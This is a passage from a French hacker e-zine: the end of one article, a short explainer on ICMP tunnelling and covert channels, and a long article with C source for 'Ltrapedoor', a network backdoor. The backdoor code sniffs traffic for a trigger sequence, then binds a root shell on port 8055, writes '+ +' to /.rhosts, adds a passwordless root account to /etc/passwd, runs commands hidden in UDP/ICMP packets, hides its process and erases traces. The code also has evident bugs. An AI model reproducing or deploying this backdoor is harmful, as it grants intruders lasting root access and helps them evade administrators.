commande whoami, soit depuis une fenêtre de commandes traditionnelle, soit
depuis une fenêtre de commandes lancée depuis la fenêtre System Console.
[ Conclusion ]
Voila cest la fin. Dans un prochain article peut être je vous démontrerai
comment contrer cette faille. Mais rien nest moins sur. Dici la ne faites
pas trop de bétises et rappelez vous que je ne suis en aucun cas responsables
de vos actes.
---------------------------------------------------------------------------------------
VI. Introducion au TUnneling ICMP MeiK
---------------------------------------------------------------------------------------
[ Introduction ]
Peut-être avez vous un jour été confronté au problème suivant : relier deux
machines n'étant pas situées sur le même réseau avec un firewall au milieu.
Peut-être aussi ne savez vous pas si vous devez bloquer le traffic ICMP du
genre ICMP_ECHO...cet article vous aidera je l'espère à prendre votre
décision assez vite, car vous allez voir qu'il est possible d'échanger des
informations par le biais du protocole ICMP.
[ Firewall ]
Le but premier d'un firewall : défendre une machine / un réseau, d'une autre
machine / un autre réseau. Tout le traffic provenant de l'extérieur du
réseau protégé doit passer par le firewall, mais seul le traffic autorisé
pourra passer de l'autre côté du firewall - le reste sera rejeté. Bien sur,
cela est comme ça dans le meilleur des cas : lorsque le firewall est
immunisé.
[ ICMP_ECHO ]
Je ne vais pas décrire en détail le protocole ICMP, il existe de très bons
documents pour cela. Ce protocole sert surtout à détecter des erreurs sur un
réseau. Les paquets ICMP, tout comme pour les paquets TCP et UDP, sont
encapsulés dans un paquet IP. Il existe 15 types de paquets ICMP, mais nous
allons nous pencher sur deux types de paquets particuliers : les types 0 et
8 (ICMP_ECHO_REPLY et ICMP_ECHO_REQUEST).
Dans la théorie, une machine cliente envoie un paquet ICMP_ECHO_REQUEST à
une machine qu'on qualifie de serveur, dans l'attente que cette dernière lui
réponde par un ICMP_ECHO_REPLY. En fait, la machine serveur n'a pas de
serveur à proprement parler écoutant au niveau du protocole ICMP. En fait
c'est le Kernel du système qui répond. Bon, ça c'est la raison d'être du
programme PING, et non, ce programme n'a à la base pas été fait pour trouver
des adresses IP, ni pour flooder, il a été fait pour vérifier qu'une machine
est bien accessible.
[ Covert Channels ]
En résumé, un covert channel est un "canal de communication" pouvant être
utilisé afin d'échanger des données, mais pas un canal utilisé ordinairement
pour ça justement. N'importe quel bit de donnée peut-être un covert channel
en fait, ce qui fait qu'ils sont très difficiles à détecter et peuvent
mettre grandement en danger la sécurité d'un système. Il suffit de savoir ce
que l'on cherche en fait (o, quand, comment). Dans le cas d'un covert
channel ICMP, ce qui peut vous mettre la puce à l'oreille serait un fort
traffic ICMP justement. Bon, ceux qui ont le plus de méthodologie
implanteraient directement le daemon directement dans le kernel et
génèreraient le moins de traffic possible.
[ Pourquoi ... ]
Pourquoi avoir besoin de relier deux machines ne faisant pas partie du même
réseau, ensemble ? cette question peut ammener plusieurs réponses. Vous
pouvez très bien être chez vous et avoir besoin de documents qui sont sur
votre machine sur votre lieu de travail, mais vu que cette machine faisant
partie d'un réseau privé, vous n'avez aucun moyen d'y accéder directement.
Il y a bien évidement la solution consistant à mettre vos documents sur un
serveur ftp quelconque (je sais pas, prenez Multimania par exemple), mais il
y a toujours le risque que quelqu'un découvre ces informations et les
prenne, et voici votre travail confidentiel devenu connu de quelqu'un que
vous ne connaissez pas.
[ ...Comment]
Il existe un programme de tunneling, dont je citerais le nom après cette
explication, qui encapsule des données arbitraires dans des paquets
ICMP_ECHO_* et par conséquent, exploite le covert channel existant à
l'intérieur de ce traffic ICMP_ECHO. Comme le fait remarquer Route dans son
article sur le tunneling ICMP, c'est une forme de stéganographie, car les
données "secrètes" sont planquées dans un paquet "classique". Les données
étant encapsulées et cryptées, cela est normal.
[ Loki ]
Loki est un programme de tunneling ICMP comme vous pouvez vous en douter,
qui peut être utilisé pour contourner des firewalls (enfin, plutot passer au
travers on va dire). Du moment que le traffic ICMP_ECHO est autorisé, le
covert channel utilisé par Loki existe.
Je suis également en train de (tenter de) coder un programme de tunneling
ICMP. Vu que je m'y suis pris un peu tard (ce matin du 1er Novembre), il ne
sera pas prêt pour ce numéro de IOC, mais peut-être pour le prochain (il y a
intérêt !).
[ La Solution Finale ]
La seule solution à ce genre de tunneling serait d'interdire toute forme de
traffic ICMP_ECHO sur votre réseau. Autoriser les paquets ICMP venant
d'hotes de confiance ne résoudrait rien, parce que le spoofing ICMP est
relativement aisé, car c'est un protocole qui ne se base pas sur une
connexion comme TCP. Il existe aussi un moyen, utiliser une sorte de
firewall qui regarderait le contenu des paquets, et s'il voit que ce n'est
pas un paquet ICMP_ECHO classique, il agit selon ce que l'admin a défini.
[ Bibliographie ]
Covert Shells - J. Christian Smith
Project Loki - Route
---------------------------------------------------------------------------------------
VII. Network Traffic Backdoor - Ltrapedoor.c Li0n7
---------------------------------------------------------------------------------------
[ Introduction ]
Une backdoor est un petit programme permettant à un pirate de regagner
l'accès perdu sur un système précédemment pénétré. Même s'il est vrai
que l'heure est plus à l'utilisation de lkm ou de kernel based backdoors,
les backdoors classiques restent encore des outils, bien que proposant
des techniques d'invisiblité moins poussées, qui permettent de conserver
un accès à long terme. L'incovénient des lkm (i.e Loadable Kernel Module)
réside dans le fait que la programmation de modules ne permet pas d'utiliser
les librairies de la classique libc, ils sont donc beaucoup plus complexes à
programmer (bien que la majorité des programmeurs se limitent au classique et
n'innovent pas beaucoup dans le domaine). Neofox dans les issues #1 et #2 d'IOC
magazine posait déjà les bases de la programmation de backdoors, je prends
le relai et vous propose l'étude d'une backdoor avancée.
[ Sommaire ]
I. Description
II. Programmation
III. Code source
IV. Conclusion
I. Description :
________________
Il faut savoir qu'il existe un nombre conséquent de types de backdoors,
des binaires trojanisés, timestamp backdoors, jusqu'aux kernel backdoors
en passant par les library backdoors. Je vous passe les explications liées
à toutes ces techniques de camouflage sur un serveur, mais sachez qu'on
peut regrouper les backdoors dites "calssiques" en deux classes : les remote
backdoors, et les local backdoors. Inutile de faire durer le suspens, cet
article est liée à l'étude des network traffic backdoors, donc de type remote.
Le principe est très simple, la majorité des backdoors en attente d'une
connection affichent de façon continue un port ouvert en listening. Un
simple scan de port de l'extérieur ou même de la machine attaquée
suffit à déceler la présence d'un pirate. Notre backdoor, quant à elle,
au lieu d'écouter un port perpétuellement en attente de binding de shell,
s'activera sur la réception d'une certaine séquence de paquets.
Pour cela, il nous faut exploiter les différents protocoles régissant le
réseau actuel, à savoir UDP(17), TCP(6), ICMP(1). Le protocole UDP est
parfait dans le cadre de notre séquencement de paquet, il possède d'une
structure générique extrèmement simple, de plus les paquets UDP, sur un
local, sont très nombreux à circuler, ainsi il sera plus difficile de
détecter notre présence. De plus beaucoup de firewalls laissent entrer par
défaut des paquets UDP à travers un réseau, comme les services DNS. Le
protocole ICMP est lui aussi fiable, du fait que son utilisation réside
dans le ressencement de machines à travers un réseau, ainsi, là encore
beaucoup de firewalls laissent les systèmes se faire pinger ouvertement !
Et enfin, le protocole TCP, le plus bruyant de tous, mais aussi le plus
complexe de par sa très riche structure en champs (cf datagramme TCP) nous
permettra d'utiliser un grand nombre de combinaisons différentes dans la
création du message d'activation de la backdoor.
[ Communication avec la backdoor ]
Le concept est simple : le pirate communique avec la backdoor placée sur
le système dont il a perdu l'accès, avec comme passerelle un quelconque
réseau (internet, intranet), et comme support une série de messages pré-
-définis lors de l'installation de celle-ci. Les messages se présentent
sous la forme de paquets tcp/udp/icmp ordonnés selon un odre bien précis.
Nous mettrons en place trois méthodes d'authentification et communication :
o La première réside sur un séquencement de paquets.
Il y a deux types de messages : les messages d'activation et de
fermeture. Ainsi, imaginons que le pirate construise son message
avec respectivement: trois paquets udp, un paquet tcp, deux paquets
icmp, la machine ciblée recevant ses paquets dans l'ordre respectif,
la backdoor présente bindera alors un shell, dans le cas contraire,
si l'ordre est incorrect, le message est reinitialisé à 0 pour attente
d'une nouvelle tentative de connexion. Notez que la furtivité de la
backdoor repose sur la patience du pirate, plus
le temps écoulé entre
chaque paquet sera long et plus les chances de l'administrateur de
détecter notre petit programme seront minces. Mais un problème majeur
se présente : par défaut un grand nombre de paquets circulent sur le
réseau, et notre message d'activation pourra se voir corrompu par des
paquets envoyés à la machine ciblée entre les différents paquets que
nous enverrons. Ainsi, le temps écoulé entre chaque envoi devra être
choisi avec soin en fonction du type de réseau, du type de serveur, du
type de traffic et de l'heure.
Vous l'avez compris, les paquets icmp ou udp dans le cas d'un serveur
web seront plus fiables car plus rares que leurs homologues tcp.
o La seconde nécéssite l'utilisation de paquets "mal-formés" ou dits
rares. En effet, certains champs des protocoles ip/tcp/udp/icmp sont
souvent inutilisés ou peuvent prendre des valeurs originales. Je pense
au protocole IP, qui actuellement est utilisé sous la mouture IPV4, la
version de l'ip est définie via le champ ip->version, ainsi en lui
assignant la version 6, nous obtenons un paquet informe (la version 6
du protocole IP ne correspond pas à l'header de la version 4), ou encore
certains codes de messages icmp comme le code 3 (destination unreachable)
utilisé dans le cadre d'un ping, ou encore le code 30 caractérisant le
tracerouting. Notez que la machine ciblée doit prendre charge l'IPv6, sans
cela, machine peut planter.
o La troisième et dernière se base sur l'analyse des champs d'adressage IP
source et destination du datagramme IP. Au début du code de la backdoors
des constantes sont déclarées, lors de la boucle de réception des paquets,
si un quelconque paquet présente une IP source correspondant à la constante
déclarée, alors la backdoor s'active selon les options préalablement définies.
Seuls les protocoles ICMP et UDP sont pris en considération par cette technique.
[ UDP/ICMP GRABBING - BLIND ACTIVITY ]
L'accès à certains systèmes est souvent gardé par des firewalls, qu'ils soient
configurés de façon honorable ou non n'est pas de notre ressort, mais la majorité
des pares-feu dropperons les paquets tcp envoyés non autorisés. Ainsi, via la
méthode de séquencement udp/icmp, nous pourrons nous garentir l'activation de la
trappe, mais il se peut qu'un firewall présente des réticences quand à l'intégrité
des commandes que nous enverrons au shell. Il nous faut donc trouver un moyen
d'envoyer les commandes de manière parfaitement invisible. Ceci se fait très
simplement en utilisant des techniques d'udp/icmp grabbing. Le principe est
simple, comme expliqué précedemment, beaucoup de firewalls n'empèchent pas la
réception des paquets udp et icmp, il nous suffit alors d'insérer nos commandes
dans le champ data de chacun des datagrammes, on encapsule le tout et on envoie !
La communication se fait donc à travers un tunnel que nous créons. Je n'ai pas
particulièrement travaillé ce mode, ainsi deux problèmes majeurs se présentent :
Aucun algorithme de chiffrement des données (nos commandes) n'est utilisé,
l'administrateur réseau peut alors très facilement déceler notre activité, et
en deuxième lieu la communication ne se fait que dans un sens, ainsi seules des
commandes telles que insmod, rmmod, kill, rm, sed, echo..etc peuvent être utilisés
le flux de sortie ne pouvant être lu (un ls serait futile vu que la sortie ne
s'afficherait pas sur notre écran), d'ou le nom "activité à l'aveuglette".
[ Activité de la backdoor ]
Ayant authentifié le pirate désireux de s'approprier le système de la
victime, la backdoor s'active. Il faut comprendre par là qu'avant de laisser
la main au pirate via un shell qu'elle bind sur le port 8055 (!), elle éxécute
quelques fonctions qui permettent de laisser une porte ouverte de façon continue
sur le système (si le pirate l'a spécifié lors de l'éxécution de la trappe sur
le système ciblée). Ainsi, après le séquencement de paquets reçu sans encombre,
la backdoor est programmée pour éxécuter l'équivalent des commandes suivantes :
# echo 8055 stream tcp nowait root /bin/sh sh >> /tmp/.ind
# echo + + >> /.rhosts
# echo $user::0:0:$user:/root:/bash >> /etc/passwd
Notez que l'ensemble des commandes est éxécuté si le pirate le spécifie, il
peut par exemple choisir de n'éxécuter que le dernier echo. Ainsi, 3 portes
sont ouvertes sur le système, un accès root sur le 8055, un accès root rsh/rlogin,
un compte root permanent. Enfin lors de la fermeture de la backdoor (commandée par
la récéption d'un message de fermeture), la backdoor sur ordre du pirate peut
effacer quelques unes de ses traces (notez que je n'ai pas travaillé l'étape de
clean logging, c'està vous d'effacer vos traces dans certains logs), l'équivalent
des commandes suivantes sont éxécutées :
# rm -f /tmp/.ind
# rm -f /.rhosts
# cat /etc/passwd | grep -v $user > /etc/passwd
Ces trois commandes, permettent de détruire les fichiers sensibles permettant
à un quelconque autre individu de pénétrer le système que nous avons rooté sans
permission, et de manière générale, de détecter la présence d'un pirate sur ce
système.
[ Sécuriser un système ]
Les diverses techniques liées à la sécurité des systèmes contre les trappes
ne sont pas le sujet de cette article, et je vais me contenter ici de donner
quelques idées. Tout d'abord, actuellement beaucoup de lkms sont en vogue sur
le réseau des réseaux, il est donc important de se protéger efficacement contre
ce type de backdoor. C'est un sujet très complexe de par le nombre conséquents
de techniques de détections possibles. Beaucoup de lkm détournent des syscalls
liées au système de fichier (Filesystem) comme query_module/getdents/write/open
pour se cacher aux yeux de certaines commandes comme ps, lsmod, rmmod, kstat, cat,
ls... Ainsi, sans le nom exact du module chargée en mémoire ou des connaissances
pointues de son système, ce genre de backdoor resteront indétectables à long
terme. Sachez tout de même que la majorité des lkm ne détournent pas l'ensemble des
appels systèmes liées à l'analyse d'un système de fichiers voici quelques commandes
intéréssantes :
¤ # lsmod /* pour afficher la liste des modules chargées */
¤ # grep <nom> /proc/modules /* cherche le module <nom> */
¤ # ls -l /lib/modules/<kernel_version> /* affiche les modules chargées par défaut à chaque boot */
¤ # cat /proc/modules /* analyse /proc/modules */
¤ # ps -aux /* pour afficher la liste des processus */
¤ # kstat -s/-m /* liste les modules, adresses des syscalls et processus de /dev/kmem/ */
¤ # rmmod <nom> /* supprime le module entré en argument */
Nous n'étudierons pas le fonctionnement de chacune de ces commandes, retenez
juste que des modules détournent des appels systèmes comme SYS_GETDENTS (pour
masquer la présence d'un fichier dans un répertoire), SYS_WRITE (pour manipuler
les flux de sorties et les résultats affichés à l'écran), SYS_OPEN (pour masquer
le contenu d'un fichier en retournant des erreurs par exemple), SYS_QUERYMODULE
(détourne lsmod et rmmod) ou encore SYS_EXECVE (redirige alors l'éxécution d'un
fichier), SYS_SOCKETCALL (manipulation de sockets, essentiel pour la programmation
d'une backdoor).
Dans le cas de backdoors classiques comme celle que nous allons programmer,
la protection d'un système ne se limite pas à l'éxécution de quelques commandes
types, mais à l'implémentation de systèmes ids/hids (snort) efficaces, à la
surveillance du réseau et à la vigilance de l'administrateur. Il est alors
conseillé de commuter le réseau pour éviter à un éventuel pirate ayant gagné
l'accès sur votre machine de mettre main basse sur votre réseau entier. La mise
en place d'un firewall bien configuré "droppant" les pings est particulièrement
recommandé. Notre backdoor sniffera les paquets entrant et sortant en mode
promiscuous (voir article sniffing), ainsi, un simple antisniff vous suffira de
la déceler. N'oubliez pas de vérifier constamment la liste des process, vos logs (wtmp,
utmp, lastlog, xferlog, maillog, mail, httpd.error_log,n http.acces_log...etc) ainsi
que des fichiers régissant l'accès à votre machine (rhosts, /etc/passwd...).
II. Programmation :
___________________
Nous touchons enfin à la partie ludique de cette article : la programmation
d'une network traffic backdoor polyvalente. Comme les fois précédentes, nous
étudierons successivement les différentes fonctions du code source, avec si
nécéssaire quelques élargissements. Voici venu le temps de vous présenter
la backdoor dans son intégralité, et, comme lsniff elle présente différents
modes de fonctionnement :
-h<mdp> : password de protection
-i : echo 8005 stream tcp nowait root /bin/sh sh >> tmp/.ind
-r : echo + + >> /.rhosts
-p<user> : echo user::0:0:user:/root:/bash >> /etc/passwd
-c<cle> : code d'activation de la backdoor (type integer) Remarque: udp = 2; tcp = 0; tcp = 1
-f : mode informe, utilise paquets informes pour communiquer avec le serveur
-d : mode d'adressage ip, ip définie lors de la compilation
-a : mode AF, envoi des commandes à travers des paquets udp/icmp
-h<mdp> : cet argument précède le mot de passe défini lors de la compilation,
si ce mot de passe est invalide, ou l'argument manquant, la backdoor
se fermera.
-i : glisse la ligne "5002 stream tcp nowait root /bin/sh sh" dans tmp/.ind
pour permettre un accès root sur le port 8005.
-r: crée un fichier .rhost ++, accès root rsh/rlogin
-p<user> : crée un compte root sans password avec pour nom <user>
-c<cle> : code d'activation de la backdoor (voir algorithme)
-f : mode informe, la backdoor s'active sur récéption de paquets rares (ex: ip->version = 6)
-d : mode d'adressage ip, la backdoor s'active sur réception d'un paquet
udp/icmp avec pour ip->saddr l'ip définie lors de la compilation
-a : mode anti-firewall, les commandes ne sont pas directement envoyées sur
le shell bindé sur le 8005 mais encapsulées dans le champs data de paquets
udp/icmp puis éxécutées par la backdoor.
Passons à la programmation brute de la trappe, le code source est assez long, très difficile
à lire car j'ai essayé de le présenter le plus explicit possible, ainsi, certaines fonctions
se répètent et les variables ont des noms assez longs. Pour les structures telles que rcvpacket,
ip, tcp, udp, icmp se réfèrer à mon article Advanced sniffing.
[ Point d'entrée ]
Notre fonction main, à l'habitude je crée une boucle qui switch les différents arguments pour
déterminer les différents modes choisies, la clé d'activation, le password... Les variables
inetd, rsh, pass, informe, ip_mode, protected_mode sont de type integer mais jouent le rôle
de booleans, par défaut elles prennent la valeur 0 (false), puis sélectionnés par le pirate
elles valent 1(true). La variable inetd représente l'argument -i, rsh -r, pass -p, informe -f,
ip_mode -d, protected_mode -a.
int main(int argc, char *argv[])
{
/* Déclaration des variables */
int inetd=0, rsh=0, pass=0, informe = 0, ip_mode = 0, protected_mode = 0;
/* cle = clé d'activation de la backdoor (voir plus bas) */
/* passv = nom d'user pour le mode -p */
/* endvalue = clé de fermeture */
char *cle, *passv, *endvalue;
/* Allocation dynamique de mémoire pour éviter les segfaults */
cle = (char *)malloc(1024);
passv = (char *)malloc(1024);
endvalue = (char *)malloc(1024);
/* Valeurs par défaut */
endvalue = "22";
passv = "user";
cle = "21";
/* Vérification du password, si invalide on quitte */
if((strcmp(PWD, getpass("password: "))) != 0) return 0;
if (argc < 3){
/* si argument < 3 alors on affiche l'aide et on quitte */
usage();
} else {
/* Boucle de lecture des différents arguments (old way) */
while((argc>1)&&(argv[1][0]=='-'))
{
switch(argv[1][1])
{
/* Switch des arguments (voir plus haut les correspondances) */
case 'i':
inetd = 1;
break;
case 'r':
rsh = 1;
break;
case 'p':
pass = 1;
passv = &argv[1][2];
break;
case 'c':
cle = &argv[1][2];
break;
case 'e':
endvalue = &argv[1][2];
break;
case 'f':
informe = 1;
break;
case 'd':
ip_mode = 1;
break;
case 'a':
protected_mode = 1;
break;
}
--argc;
++argv;
}
}
/* Si le mode d'adressage ip a été choisie alors on call waiting_ip */
if (ip_mode == 1){
waiting_ip(inetd, rsh, pass, protected_mode, passv);
} else {
/* Sinon death_looping (pour mode informe, ou mode normal)
death_looping(inetd, rsh, pass, informe, protected_mode, cle, passv, endvalue);
}
return 0;
}
[ death_looping ]
Cette fonction est construite autour d'une boucle de lecture des différents
paquets que la carte réseau passée en mode promiscous reçoit. Cette fonction
est appelée dans un mode normal ou informe. Nous allons maintenant (enfin !)
parler de la clé d'activation (mode normal). Le pirate la défini lors du lancement
de la trappe sur le système ciblée sous forme d'integer, trois chiffres sont permis
0, 1, 2. La réception d'un paquet ICMP correspond à la valeur 0, un paquet TCP à la
valeur 1 et un paquet UDP à la valeur 2. A chaque réception de paquet, on vérifie le
mode choisi, si mode d'adressage ip, on vérifie l'IP destinataire, si mode normal,
si la clé de valeurs cumulées correspond à la clé d'activation,
int death_looping(int inetd, int rsh, int pass, int informe, int protected_mode, char *cle, char *passv, char *endvalue)
{
int i;
/* voir article advanced sniffing */
ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);
/* allocation dynamique de mémoire */
mes = (char *)malloc(1024);
daddr = (char *)malloc(1024);
d = (unsigned char *)&(ip->daddr);
/* mise en mode promiscous de la carte réseau */
sockfd = ouvre_interface("eth0");
/* bouble de réception des paquets */
while(1){
size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
if(size<0)
return -1;
if (size < sizeof(struct ether_header))
continue;
/* si protocole = ICMP */
if((ip->protocol) == 1){
/* si icmp -> type = host unreachable et mode informe choisie */
if ((icmp->type == 3) && (informe == 1)){
/* on ferme la trappe */
close_door(inetd, rsh, pass, passv);
} else {
/* Sinon on rajoute la valeur correspondant au paquet icmp (0) à la suite de la clé de chiffres cumulés */
strcat(mes,"0");
/* Si la clé est valide, on active la backdoor puis on reset la clé de chiffres cumulés */
if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){
open_door(inetd, rsh, pass, protected_mode, passv);
memset(mes, 0, 1024);
/* sinon on reset juste la clé de chiffre cumulés (ccc) */
} else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) {
memset(mes, 0, 1024);
}
/* si la ccc est égale à la clé de fermeture alors on ferme la trappe et on reset la ccc */
if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){
close_door(inetd, rsh, pass, passv);
memset(mes, 0, 1024);
} else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) {
/* sinon, on ignore */
memset(mes, 0, 1024);
}
}
}
/* si protocole = TCP */
if((ip->protocol) == 6){
/* si ip->version = IPv6 et mode informe choisie */
if((ip->version == 6) && (informe == 1)){
/* on ouvre la trappe */
open_door(inetd, rsh, pass, protected_mode, passv);
} else {
/* Sinon on rajoute la valeur correspondant au paquet tcp(1) à la suite de la clé de chiffres cumulés */
strcat(mes,"1");
if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){
/* Si la clé est valide, on active la backdoor puis on reset la clé de chiffres cumulés */
open_door(inetd, rsh, pass, protected_mode, passv);
memset(mes, 0, 1024);
/* sinon on reset juste la clé de chiffre cumulés (ccc) */
} else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) {
memset(mes, 0, 1024);
}
/* si la ccc est égale à la clé de fermeture alors on ferme la trappe et on reset la ccc */
if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){
close_door(inetd, rsh, pass, passv);
memset(mes, 0, 1024);
} else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) {
/* sinon, on ignore */
memset(mes, 0, 1024);
}
}
}
/* si protocole = UDP */
if((ip->protocol) == 17){
/* on rajoute la valeur correspondant au paquet udp (2) a la suite de la clé de chiffres cumulés */
strcat(mes,"2");
/* Si la clé est valide, on active la backdoor puis on reset la clé de chiffres cumulés */
if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){
open_door(inetd, rsh, pass, protected_mode, passv);
memset(mes, 0, 1024);
/* sinon on reset juste la clé de chiffre cumulés (ccc) */
} else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) {
memset(mes, 0, 1024);
}
/* si la ccc est égale à la clé de fermeture alors on ferme la trappe et on reset la ccc */
if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){
close_door(inetd, rsh, pass, passv);
memset(mes, 0, 1024);
} else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) {
/* sinon, on ignore (on reset mes) */
memset(mes, 0, 1024);
}
}
}
return 0;
}
[ Waiting_ip ]
A l'instar de death_looping, cette fonction s'articule autour d'une
boucle principale de capture des paquets reçus. Cette fonction est
appelée avec le mode d'adressage ip, qui rappelons le, active la backdoor
sur réceptions de paquets caractérisés par le champs IP destination address
correspondant à l'IP défini dans le code source. Nous allons, pour comparer
la constante IP et le champs ip->daddr (unsigned char), crée une fonction
"make_ip" (voir plus bas) qui transforme ip->daddr en adresse IP conventionelle.
int waiting_ip(int inetd, int rsh, int pass, int protected_mode, char *passv){
int i;
char *net_ip; /* char qui contiendra l'adresse IP ip->daddr transformée */
unsigned char *d; /* contiendra ip->daddr */
ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);
/* Allocation dynamique de mémoire */
net_ip = (char *)malloc(1024);
d = (unsigned char *)&(ip->daddr);
/* mise en mode promiscuous de la carte réseau */
sockfd = ouvre_interface("eth0");
while(1){
size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
if(size<0)
return -1;
if (size < sizeof(struct ether_header))
continue;
/* si protocole = UDP */
if(ip->protocol == 17){
/* transformation de ip->daddr en ip conventionelle */
net_ip = make_ip(d);
if(net_ip = DADDR)
/* Ouverture de la backdoor */
open_door(inetd, rsh, pass, protected_mode, passv);
}
/* si protocole = ICMP */
if(ip->protocol == 1){
/* transformation de ip->daddr en ip conventionelle */
net_ip = make_ip(d);
if(net_ip = DADDR)
/* Fermeture de la backdoor */
close_door(inetd, rsh, pass, passv);
}
}
return 0;
}
[ Protected mode ]
Cette fonction correspond à l'argument -p (anti-firewall mode) qui exécute les commandes
insérés dans les champs data des headers udp/icmp.
int protected_com(int inetd, int rsh, int pass, char *passv){
int i, datal; /* datal = sizeof(udp->data) */
unsigned char *d;
char *donnees; /* Pour notre champ data */
ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);
sockfd = ouvre_interface("eth0");
while(1){
size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
if(size<0)
return -1;
if (size < sizeof(struct ether_header))
continue;
/* Si protocole = UDP */
if (ip->protocol == 17){
/* calcule de la longueur du champ data de l'header UDP */
datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
/* le ptr données pointe sur l'adresse du champ udp->data */
donnees = (char *)(((unsigned long)buffer.data)-2);
/* lecture des données */
for(i=0; i <= datal; i++)
strcat(donnees, donnees[i]);
/* fermeture ? /*
if(donnees = "end:connection"){
close_door(inetd, rsh, pass, passv);
} else {
/* si non, exécution de la commande */
system(donnees);
}
}
/* Si protocole = ICMP */
if (ip->protocol == 1){
/* calcule de la longueur du champ data de l'header ICMP */
datal = size - 2 - (sizeof(struct icmphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
/* le ptr données pointe sur l'adresse du champ icmp->data */
donnees = (char *)(((unsigned long)buffer.data)-2);
/* lecture des données */
for(i=0; i <= datal; i++)
strcat(donnees, donnees[i]);
/* exécution de la commande */
system(donnees);
}
}
return 0;
}
[ Open_door ]
Une fois l'authentification du pirate effectuée par la backdoor, celle-ci
s'active en lançant une série de commandes définies lors de sa mise en place
sur le serveur. Cette fonction est calquée sur celle de cdoor.c de fx (phenoelit),
on fork deux processus pour éviter les processus inet zombis.
void open_door(int inetd, int rsh, int pass, int protected_mode, char *passv) {
FILE *f;
char *args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL};
char *command;
command = (char *)malloc(1204);
/* switch de deux forks successifs pour éviter les inetd zombis */
switch (fork()) {
case -1:
return;
case 0:
switch (fork()) {
case -1: _exit(0);
case 0:
break;
default: _exit(0);
}
break;
default:
wait(NULL);
return;
}
/* si argument -i entré, création d'un fichier tmp/.ind */
if (inetd == 1){
if ((f=fopen("/tmp/.ind","a+t"))==NULL) return;
fprintf(f,"8055 stream tcp nowait root /bin/sh sh\n");
execv("/usr/sbin/inetd",args);
fclose(f);
}
/* si argument -r entré, création d'un fichier /.rhosts */
if (rsh == 1){
sprintf(command, "echo + + >> /.rhosts");
system(command);
}
/* si argument -p entré, création d'un nouveau compte root */
if (pass == 1){
if ((f=fopen("/etc/passwd","a+t"))==NULL) return;
fprintf(f,"%s::0:0:%s:/root:/bash\n", passv, passv);
fclose(f);
}
/* si argument -a entré, alors on lance le mode protégé */
if(protected_mode == 1) protected_com(inetd, rsh, pass, passv);
exit(0);
}
[ close_door ]
En cas de réception d'un code de fermeture, la backdoor appelle la fonction
"close_door", celle-ci avant de fermer complétement la trappe s'assure d'effaçer
partiellement ses traces, selon les arguments entrés.
void close_door(int inetd, int rsh, int pass, char *passv){
char *command;
/* allocation dynamique de mémoire */
command = (char *)malloc(1024);
/* si argument -i entré, on détruit /tmp/.ind */
if (inetd == 1){
command = "rm -f /tmp/.ind";
system(command);
}
/* si argument -r entré, on détruit /.rhosts */
if (rsh == 1){
command = "rm -f /.rhosts";
system(command);
}
/* si argument -p entré, on détruit le compte root dans /etc/passwd */
if (pass == 1){
sprintf(command, "cat /etc/passwd | grep -v %s > /etc/passwd", passv);
system(command);
}
exit (1);
}
[ make_ip ]
Cette fonction est indispensable au mode d'adressage ip, elle permet en effet de
construire à partir du champ IP destination adress, une adresse IP conventionelle
(unsigned char *)(ex: x.x.x.x).
char *make_ip(unsigned char *d){
char *dest_addr; /* contient notre IP conventionelle */
dest_addr = (char *)malloc(4096);
/* création de l'IP conventionelle */
sprintf(dest_addr, "%u.%u.%u.%u", d[0], d[1], d[2], d[3]);
return dest_addr;
}
[ Extras... ]
Dans un souci de furtivité, il se peut que vous désireriez masquer le processus de
votre backdoor, il suffit de placer une quelconque chaine de caractère dans la valeur
de l'argument 0. Mais attention, avant toute chose il vous faut sauvegarder les arguments,
car cette fonction reset toutes les valeurs, je vous conseille alors de stocker les
valeurs initiales dans des variables, d'éxécuter la fonction, puis de restorer les valeurs
stockées dans lesdites variables.
void hide_aux(int argc, char *argv[]){
int i;
/* on reset tous nos arguments */
for(i=argc-1; i >= 0; i--)
memset(argv[i],0, strlen(argv[i]));
/* masquage du processus */
strcpy(argv[0], P_HIDE);
}
III. Code source :
__________________
/******************************************/
/* Ltrapedoor By Li0n7 */
/* contactez-moi: Li0n7@voila.fr */
/* http://www.ioc.fr.st */
/* http://l7l.linux-fan.com */
/* Network traffic backdoor */
/* Copyright Li0n7 - Tous droits réservés */
/******************************************/
#include <stdio.h>
#include <sys/types.h>
#include <net/ethernet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/udp.h>
#include <linux/if.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
